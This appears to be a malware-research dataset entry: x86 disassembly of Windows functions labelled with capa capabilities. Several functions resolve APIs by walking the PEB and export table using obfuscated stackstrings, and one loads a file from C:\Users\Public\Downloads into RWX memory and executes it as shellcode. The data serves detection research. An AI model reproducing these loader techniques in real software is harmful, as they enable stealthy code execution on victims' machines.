joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1022cb10
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x24]
mov dword [0x10248a00], 0x138
mov esi, dword [0x10248a04]
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x17], 0xc3
add esi, 0xffffbad2
mov dword [0x10248a04], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
call fcn.1022d310
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.1022d590
mov dword [0x10248a04], 0x1cba
cmp eax, 0
mov dword [ebp - 0x34], eax
je 0x1022cc59
mov eax, dword [ebp - 0x34]
mov dword [0x10248a04], 0x2525
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10248a04]
add ecx, 0xffffe4b9
mov dword [0x10248a00], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.1022e3b0
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x10248a00], 0xca9
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x28], ecx
mov ecx, dword [ebp - 0x38]
mov dword [edx + 0x20], ecx
add ecx, 0x1aba
mov esi, dword [ebp - 0x38]
cmp esi, 0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
je 0x1022cc50
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x4c
pop esi
pop ebp
ret
Function at 0x1022cdc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x10248a00], 0x1cbb
mov dword [0x10248a04], 0xfffff8ec
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.1022d720
lea ecx, [0x1022cd00]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x84], edx
mov dword [esp + 0x4c], 0x159e00
mov edx, dword [0x102489ec]
mov dword [esp + 0x90], edx
mov edx, dword [0x102489f0]
mov dword [esp + 0x64], edx
mov edx, dword [0x102489f4]
mov dword [esp + 0x7c], edx
mov edx, dword [0x102489f8]
mov dword [esp + 0x6c], edx
mov edx, dword [0x102489fc]
mov dword [esp + 0x48], edx
mov dword [0x10248a04], 0x12c7
mov dword [0x10248a00], 0xde7
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x1022ce7a
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
je 0x1022ce9d
jmp 0x1022ce89
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
je 0x1022ce60
mov eax, dword [esp + 0x18]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x1022ce7a
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x68], ecx
mov dword [0x10248a00], 0xfdd
mov eax, dword [ecx + eax + 0x50]
mov dword [esp + 0x40], eax
call fcn.1022bd40
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x1022cf13
lea eax, [esp + 0x38]
mov ecx, dword [0x10248a00]
add ecx, 0xffffda97
mov dword [0x10248a04], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1022cb10
mov dword [0x10248a00], 0xa7c
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x1022d310
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xa0
mov al, 0x6b
xor ecx, ecx
lea edx, [ebp - 0x6c]
mov dword [0x10248a00], 0x138
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0xc3
mov dword [0x10248a04], 0xfffff38d
mov dword [ebp - 0x70], edx
mov byte [ebp - 0x71], al
mov dword [ebp - 0x78], ecx
jmp 0x1022d42c
mov eax, dword [ebp - 0x7c]
mov ecx, eax
add ecx, 1
mov edx, dword [ebp - 0x80]
mov si, word [edx + eax*2]
mov di, si
add di, 0xffbf
mov bx, si
add bx, 0x20
cmp di, 0x1a
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], ecx
mov word [ebp - 0x8a], si
mov word [ebp - 0x8c], bx
jb 0x1022d3ce
mov ax, word [ebp - 0x8a]
mov word [ebp - 0x8c], ax
mov ax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x84]
cmp word [ebp + ecx*2 - 0x6c], ax
sete dl
cmp ax, 0
setne dh
mov bl, dl
and bl, dh
mov esi, dword [ebp - 0x88]
mov edi, dword [ebp - 0x90]
cmp esi, edi
setb dh
and dh, bl
test dh, 1
mov dword [ebp - 0x7c], esi
mov byte [ebp - 0x91], dl
jne 0x1022d37d
jmp 0x1022d516
mov eax, dword [ebp - 0x98]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x9c], eax
jmp 0x1022d546
mov eax, dword [ebp - 0x78]
mov cl, byte [ebp - 0x71]
movsx edx, cl
mov si, dx
mov edx, eax
add edx, 1
mov word [ebp + eax*2 - 0x6c], si
mov cl, byte [ebp + eax - 0x2b]
cmp cl, 0
mov byte [ebp - 0x71], cl
mov dword [ebp - 0x78], edx
jne 0x1022d42c
mov dword [0x10248a04], 0x12c7
mov dword [0x10248a00], 0x3ac1
mov ecx, dword fs:[0x18]
xor eax, eax
mov ecx, dword [ecx + 0x30]
mov ecx, dword [ecx + 0xc]
mov edx, ecx
add edx, 0x14
mov dword [0x10248a00], 0x15da
mov ecx, dword [ecx + 0x14]
cmp ecx, edx
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0x9c], eax
je 0x1022d546
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xa8], eax
jmp 0x1022d4b4
mov eax, dword [ebp - 0xa8]
mov cx, word [eax + 0x24]
mov dword [0x10248a00], 0x5c5
mov edx, dword [eax + 0x28]
mov dword [0x10248a04], 0x1f3a
shr cx, 1
movzx esi, cx
cmp cx, 0
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x90], esi
je 0x1022d4fc
xor eax, eax
mov dword [ebp - 0x7c], eax
jmp 0x1022d37d
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xa4]
cmp ecx, edx
mov dword [ebp - 0xa8], ecx
je 0x1022d53c
jmp 0x1022d4b4
mov al, byte [ebp - 0x91]
mov dword [0x10248a00], 0x1792
test al, 1
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x98], ecx
jne 0x1022d418
jmp 0x1022d4fc
xor eax, eax
mov dword [ebp - 0x9c], eax
jmp 0x1022d546
mov eax, dword [ebp - 0x9c]
add esp, 0xa0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1022e190
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov dword [0x10248a00], 0x1df4
mov dword [ebp - 0x10], eax
call fcn.1022beb0
xor ecx, ecx
mov edx, eax
mov esi, dword [0x10248a04]
mov edi, esi
add edi, 0xffffee37
mov dword [0x10248a00], edi
mov edi, dword [eax + 0x3c]
add esi, 0xfffffd16
mov dword [0x10248a00], esi
mov esi, dword [eax + edi + 0x78]
mov dword [0x10248a04], 0xcf8
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x10248a00], 0x727
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1022e29f
jmp 0x1022e2aa
mov eax, dword [ebp - 0x28]
add eax, 2
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
jb 0x1022e2bc
jmp 0x1022e298
mov eax, dword [ebp - 0x38]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov bl, cl
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
mov byte [ebp - 0x43], bl
je 0x1022e2db
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dl, byte [ebp - 0x42]
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x43], dl
jne 0x1022e23a
jmp 0x1022e2db
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1022e29f
mov eax, dword [ebp - 0x24]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edx
jmp 0x1022e23a
mov al, byte [ebp - 0x43]
test al, 1
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x48], ecx
jne 0x1022e2ed
jmp 0x1022e216
mov eax, dword [ebp - 0x48]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x1c]
mov esi, dword [ebp - 0x1c]
add esi, dword [ecx + eax*4]
mov dword [0x10248a00], 0x241b
mov dword [ebp - 0x24], esi
jmp 0x1022e29f
Function at 0x1022e5b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, dword [0x10248a00]
add edi, 0xffffea62
mov dword [0x10248a00], edi
mov dword [0x10248a08], 0
mov dword [0x10248a0c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [0x10248a18], 0
mov dword [0x10248a04], 0x5a1
mov eax, dword [ebp - 0x10]
cmp eax, 0
je 0x1022e712
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x1022e62a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov edi, eax
add edi, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x10248a08], edx
mov dword [0x10248a00], 0x9ec
mov ecx, dword [ebp - 0x1c]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10248a0c], edx
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10248a10], cl
mov dword [0x10248a00], 0xbdb
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10248a10]
mov edx, dword [0x10248a0c]
mov byte [ebx + edx], cl
mov dword [0x10248a04], 0x138
mov edx, dword [0x10248a08]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x10248a0c]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x10248a18], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x2c]
xor cl, byte [edx + esi]
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], cl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x38], edi
je 0x1022e710
mov eax, dword [0x10248a08]
mov ecx, dword [0x10248a0c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], edx
jmp 0x1022e62a
jmp 0x1022e712
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4031c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov dword [ebp - 8], 0
mov dword [ebp - 0x130], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x403233
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.004189f3
add esp, 8
test eax, eax
jne 0x40321e
mov ecx, dword [ebp - 0x128]
mov dword [ebp - 8], ecx
jmp 0x403233
lea edx, [ebp - 0x130]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4031fc
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x4035f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 4
push 0
push 1
push SysReAllocString
push str.C:UsersPublicDownloads_vicq
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0xc]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x24
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403690
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4036ba
mov ecx, dword [ebp - 4]
and ecx, 0x10
jne 0x4036ba
mov dword [ebp - 8], 1
jmp 0x4036c1
mov dword [ebp - 8], 0
mov al, byte [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x4036d0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [ebp + 0xc]
push eax
push str.C:UsersPublicDownloads_s
push 0xffffffffffffffff
push 0x104
lea ecx, [ebp - 0x104]
push ecx
call fcn.00401390
add esp, 0x14
push 0x104
lea edx, [ebp - 0x208]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
call fcn.00403690
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x403724
jmp 0x403737
push 0
lea edx, [ebp - 0x104]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esp, ebp
pop ebp
ret
Function at 0x404570
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
cmp dword [ebp + 0x10], 0
jg 0x404590
jl 0x404587
cmp dword [ebp + 0xc], 0
ja 0x404590
xor eax, eax
xor edx, edx
jmp 0x4046c7
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x4045b2
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call fcn.00404f60
jmp 0x4046c7
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
call fcn.00406c60
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jbe 0x404621
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.004046d0
add esp, 8
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
call fcn.00406dc0
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004078b0
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 8]
call fcn.00406d40
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x4046b8
mov ecx, dword [ebp - 8]
call fcn.00406780
mov dword [ebp - 0x18], 0xfff
cmp dword [ebp - 4], 0xfff
jbe 0x404691
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x4c]
push edx
push 0xfff
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.004140f0
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp + 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x10], 0xfff
je 0x40468f
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
jmp 0x4046c7
jmp 0x40463d
cmp dword [ebp - 4], 0
jbe 0x4046b8
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.004140f0
add esp, 0x10
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
xor edx, edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
sbb ecx, edx
mov edx, ecx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x416aa8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x416ae7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x416ae7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x416ae7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x416ae7
cmp dword [ecx + 0x74], 0xe
jbe 0x416ae7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41a140
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f060
push 0x42f058
push str.FlsAlloc
push 0x1f
call fcn.0041a008
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41a174
push dword [ebp + 8]
mov ecx, esi
call dword [0x42b1b8]
call esi
jmp 0x41a17a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41a1be
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f070
push 0x42f068
push str.FlsGetValue
push 0x21
call fcn.0041a008
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41a1f5
push dword [ebp + 8]
mov ecx, esi
call dword [0x42b1b8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41a1fd
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f078
push 0x42f070
push str.FlsSetValue
push 0x22
call fcn.0041a008
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41a237
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42b1b8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41cae1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040cc90
mov eax, dword [0x43a074]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00419232
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41cb23
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41cc7f
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004297a0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x43ba08]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0041e2df
mov ecx, dword [esi*4 + 0x43ba08]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x41cc78
cmp eax, dword [ecx + edi + 0x24]
jne 0x41cc78
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41cc78
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041e2df
add esp, 0x14
test edx, edx
jl 0x41cc78
jg 0x41cbee
test eax, eax
jb 0x41cc78
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41cc78
jl 0x41cc08
cmp dword [ebp - 0x1008], eax
ja 0x41cc78
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41cc26
test ebx, ebx
je 0x41cc5f
cmp ecx, edi
jae 0x41cc5f
mov al, byte [ecx]
cmp al, 0xd
jne 0x41cc40
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41cc4c
cmp byte [ecx + 1], 0xa
jne 0x41cc4c
inc ecx
jmp 0x41cc4c
movzx eax, al
movsx eax, byte [eax + 0x43a300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41cc26
cmp edx, ebx
jne 0x41cc26
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41cc7d
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040c381
leave
ret
Function at 0x41d777
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x43ba08]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41d7b7
cmp byte [ebx], 0xa
jne 0x41d7b7
or byte [edi + eax + 0x28], 4
jmp 0x41d7bc
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41d8bb
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41d89e
inc eax
cmp dl, 0xd
je 0x41d7e8
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41d80e
cmp eax, ecx
jae 0x41d81c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41d7d0
jmp 0x41d8bb
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41d899
cmp dword [ebp - 0x10], 0
je 0x41d899
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x43ba08]
test byte [eax + edi + 0x28], 0x48
je 0x41d873
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41d85e
mov byte [esi], dl
jmp 0x41d86f
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x43ba08]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41d8bb
cmp byte [ebp - 1], 0xa
jne 0x41d882
cmp esi, ebx
jne 0x41d882
mov byte [esi], 0xa
jmp 0x41d8ba
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041e2fd
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41d8bb
mov byte [esi], 0xd
jmp 0x41d8ba
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x43ba08]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41d8b8
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41d8bb
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret